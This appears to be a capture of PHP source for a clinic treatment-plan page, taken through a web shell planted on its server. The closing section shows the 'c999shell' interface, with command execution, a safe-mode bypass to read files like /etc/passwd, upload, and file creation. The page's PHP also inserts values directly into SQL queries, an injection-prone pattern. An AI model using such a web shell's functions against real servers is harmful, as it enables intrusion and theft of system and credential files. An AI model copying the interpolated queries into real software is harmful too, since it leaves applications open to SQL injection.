                        <td align="center" bgcolor="#eeeeee"  ><div align="left"><font size="2" face="Tahoma"><span class="d style3"><font size="2" face="Tahoma"><font size="2" face="Tahoma"><font size="2" face="Tahoma"><font size="2" face="Tahoma"><font size="2" face="Tahoma"><font size="2" face="Tahoma"><font size="2" face="Tahoma"><font size="2" face="Tahoma"><font size="2" face="Tahoma"><font size="2" face="Tahoma"><font size="2" face="Tahoma"><font size="2" face="Tahoma"><font size="2" face="Tahoma"><font size="2" face="Tahoma"><font size="2" face="Tahoma"><font size="2" face="Tahoma"><font size="2" face="Tahoma"><font size="2" face="Tahoma"><font size="2" face="Tahoma"><font size="2" face="Tahoma"><font size="2" face="Tahoma"><font size="2" face="Tahoma"><font size="2" face="Tahoma"><font size="2" face="Tahoma"><font size="2" face="Tahoma"><font size="2" face="Tahoma"><font size="2" face="Tahoma"><font size="2" face="Tahoma"><font size="2" face="Tahoma"><font size="2" face="Tahoma"><font size="2" face="Tahoma"><font size="2" face="Tahoma">
                            <?php
         $Teach_code 
=  $row["Teach_code"];
         
$sql "Select * From  treatment_tb Where Teach_code ='$Teach_code' ";
          
$result mysql_query($sql) or die("Error".mysql_error());
          
$rssmysql_fetch_array($result);
          echo 
"$rss[Description_2]  ";
         
?>
                        </font></font></font></font></font></font></font></font></font></font></font></font></font></font></font></font></font></font></font></font></font></font></font></font></font></font></font></font></font></font></font></font></span></font><font size="2" face="Tahoma"><span class="d style3"><font size="2" face="Tahoma"><font size="2" face="Tahoma"><font size="2" face="Tahoma"><font size="2" face="Tahoma"><font size="2" face="Tahoma"><font size="2" face="Tahoma"><font size="2" face="Tahoma"><font size="2" face="Tahoma"><font size="2" face="Tahoma"><font size="2" face="Tahoma"><font size="2" face="Tahoma"><font size="2" face="Tahoma"><font size="2" face="Tahoma"><font size="2" face="Tahoma"><font size="2" face="Tahoma"><font size="2" face="Tahoma"><font size="2" face="Tahoma"><font size="2" face="Tahoma"><font size="2" face="Tahoma"><font size="2" face="Tahoma"><font size="2" face="Tahoma"><font size="2" face="Tahoma"><font size="2" face="Tahoma"><font size="2" face="Tahoma"><font size="2" face="Tahoma"><font size="2" face="Tahoma"><font size="2" face="Tahoma"><font size="2" face="Tahoma"><font size="2" face="Tahoma"><font size="2" face="Tahoma"><font size="2" face="Tahoma"><font size="2" face="Tahoma"><font size="2" face="Tahoma"><font size="2" face="Tahoma"><font size="2" face="Tahoma"><font size="2" face="Tahoma"><font size="2" face="Tahoma"><font size="2" face="Tahoma"><font size="2" face="Tahoma"><font size="2" face="Tahoma"><font size="2" face="Tahoma"><font size="2" face="Tahoma"><font size="2" face="Tahoma"><font size="2" face="Tahoma"><font size="2" face="Tahoma"><font size="2" face="Tahoma"><font size="2" face="Tahoma"><font size="2" face="Tahoma"><font size="2" face="Tahoma"><font size="2" face="Tahoma">
                        <?php
         $Teach_code 
=  $row["Teach_code"];
         
$sql "Select * From  treatment_tb Where Teach_code ='$Teach_code' ";
          
$result mysql_query($sql) or die("Error".mysql_error());
          
$rssmysql_fetch_array($result);
          echo 
"$rss[Description_1] ";
         
?>
                        </font></font></font></font></font></font></font></font></font></font></font></font></font></font></font></font></font></font></font></font></font></font></font></font></font></font></font></font></font></font></font></font></font></font></font></font></font></font></font></font></font></font></font></font></font></font></font></font></font></font></span></font></div>                          <div align="left"><font color="#990099" size="2" face="Tahoma"><a href="Historydetail.php?Person_code=<?=$row["Person_code"]?>" title="Click to see Detail"  class="d"> </a></font></div></td>
                        <td align="center" bgcolor="#eeeeee" ><div align="left">
                            <font size="2" face="Tahoma"><strong></strong></font>
                            <div align="left"><font size="2" face="Tahoma"><strong></strong></font><font color="#003333" size="2" face="Tahoma"><span class="style6"><font size="2" face="Tahoma"><font size="2" face="Tahoma"><span class="d style3"><font size="2" face="Tahoma"><font size="2" face="Tahoma"><font size="2" face="Tahoma"><font size="2" face="Tahoma"><font size="2" face="Tahoma">
                              <?php
         $Teacher_code 
=  $row["Teacher_code"];
         
$sql "Select * From personal_tb Where Teacher_code='$Teacher_code'";
          
$result1 mysql_query($sql) or die("Error".mysql_error());
          
$rss mysql_fetch_array($result1);
          echo 
"Dr.$rss[Teacher_name]";
         
?>
                          </font></font></font></font></font></span></font></font></span></font></div></td>
                        <td align="center" bgcolor="#eeeeee" ><font size="2" face="Tahoma"><span class="d style3"><font color="#003333" size="2" face="Tahoma"> </font><font size="2" face="Tahoma"><font size="2" face="Tahoma"><font size="2" face="Tahoma">
                          <?php
         $Tooth_code 
=  $row["Tooth_code"];
         
$sql"Select * From tooth_tb Where Tooth_code='$Tooth_code'";
          
$result1 mysql_query($sql) or die("Error".mysql_error());
          
$rssmysql_fetch_array($result1);
          echo 
"$rss[Description_1] ";
         
?>
                        </font></font></font><font color="#003333" size="2" face="Tahoma"> </font></span></font></td>
                        <td align="center" bgcolor="#eeeeee" ><font size="2" face="Tahoma"><span class="d style3"><font color="#003333" size="2" face="Tahoma">
                          <?=$row["Percen"]?>
                        </font></span></font></td>
                        <td align="center" bgcolor="#eeeeee" ><font size="2" face="Tahoma"><span class="d style3"><font color="#003333" size="2" face="Tahoma">
                          <?=$row["Mount"]?>
                        </font></span></font></td>
                        <td align="center" bgcolor="#eeeeee" ><div align="right"><font size="2" face="Tahoma"><span class="d style3"><font color="#003333" size="2" face="Tahoma">
                            <?=$row["Price"]?>
                        </font></span></font></div></td>
                        <td align="center" bgcolor="#eeeeee" ><div align="left" class="style6">
                            <div align="right"><font size="2" face="Tahoma"><font size="2" face="Tahoma"><span class="d style3"><font color="#993333" size="2" face="Tahoma"><?echo number_format($row['Cost_total'],2,'.',','); ?></font></span> </font></font> </div>
                        </div></td>
                        <td bordercolor="#FFFFFF" bgcolor="#eeeeee" ><div align="center"><font size="2" face="Tahoma"><strong><a href="FrmEditPlanteach.php?Person_code=<? echo $row [Person_code]?>&amp;&amp;Teach_id=<? echo $row[Teach_id]?>" class="c"><img src="../picture/edit.gif" width="16" height="16" border="0" alt="แก้ไข" /></a></strong></font></div></td>
                        <td bordercolor="#FFFFFF" bgcolor="#eeeeee" ><div align="center"><font size="2" face="Tahoma"><strong><a href="DelPlanteach.php?Person_code=<? echo $row [Person_code]?>&amp;&amp;Teach_id=<? echo $row[Teach_id]?>" class="c"><img src="../picture/deletenew.gif" width="16" height="19" align="absmiddle" border="0" onclick="return Conf<?=$row[Teach_id];?>0(this)" alt="ลบข้อมูล" /></a></strong></font></div>
                            <div align="center"><strong><font size="2" face="Tahoma">
                              <script language="JavaScript" type="text/javascript">
function Conf<?=$row[Teach_id];?>0(object) {
    if (confirm("คุณต้องการลบข้อมูล <?php echo " $row[No_code]"?> หรือไม่?") == true) {
        return true;
    }
    return false;
}
              </script>
                        <a href="DelHistory.php?Person_code=<?php echo $row[Person_code]; ?>&amp;&amp;Person_code=<?php echo $row[Person_code];?>"> </a> </font></strong></div></td>
                      </tr>
                      <?
$count
=0;
}
$i++;
 }    

?>
                      <tr bgcolor="#AFCFEF">
                        <td colspan="12" align="center"><table width="100%" border="0" cellspacing="0" cellpadding="0">
                            <tr>
                              <td width="69%" bgcolor="#E8FAFD"><div align="right"><font color="#0033CC" size="2" face="Tahoma"><strong>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</strong></font><font color="#0033CC" face="Tahoma"><span class="style13"><font color="#993333">&nbsp;ราคารวมทั้งหมด</font></span></font></div>                                <div align="center"><font color="#993333" size="2" face="Tahoma"> </font></div></td>
                              <td width="16%" bgcolor="#E8FAFD"><div align="center"><font color="#993333" size="2" face="Tahoma"> </font></div></td>
                              <td width="8%" bgcolor="#E8FAFD"><div align="right"><font color="#993333" size="2" face="Tahoma"><strong><font color="#993333" size="2" face="Tahoma">
                                  <?php
         $sql3 
"Select Sum(Cost_total) as Sum From account  Where Person_code='$Person_code' ";
         
$result3 mysql_query($sql3) or die("Error".mysql_error());
         
$rss3 mysql_fetch_array($result3);
         echo 
number_format($rss3['Sum'],2,'.',','); 
        
CloseDB();
         
?>
                              </font></strong> </font></div></td>
                              <td width="7%" bgcolor="#E8FAFD"><div align="right"><strong><font color="#993333" size="2" face="Tahoma"> </font><font color="#993333" size="2" face="Tahoma"> </font></strong></div></td>
                            </tr>
                        </table></td>
                      </tr>
                      <tr bgcolor="">
                        <td height="18" colspan="12" align="center" bgcolor="#E8FAFD"><div align="center" class="style13"><span class="style15"><font face="Tahoma">ทั้งหมด <? echo $num ?> รายการ &nbsp;</font> </span></div></td>
                      </tr>
                  </table>
                <font color="#003333" size="2" face="Tahoma"> </font></div></td>
              </tr>
            </table>
          </form>
        </div>
        </fieldset>
      <br />
    <font color="<?php echo $GLOBALS["COLOR_FONT_3"];?>" size="2"><b>หมายเหตุ :</b></font></td>
  </tr>
</table>
<?php 
    
}
else
{
       echo
"<meta http-equiv=\"refresh\" content=\"2;URL=../login.php\">\n";
       echo
"Please Login ";
}
?>

:: Command execute ::

Enter:
 
Select:
 

:: Shadow's tricks :D ::

Useful Commands
 
Warning. Kernel may be alerted using higher levels
Kernel Info:

:: Preddy's tricks :D ::

Php Safe-Mode Bypass (Read Files)

File:

eg: /etc/passwd

Php Safe-Mode Bypass (List Directories):

Dir:

eg: /etc/

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c999shell v. 1.0 pre-release build #16 Modded by Shadow & Preddy | RootShell Security Group | r57 c99 shell | Generation time: 0.021 ]--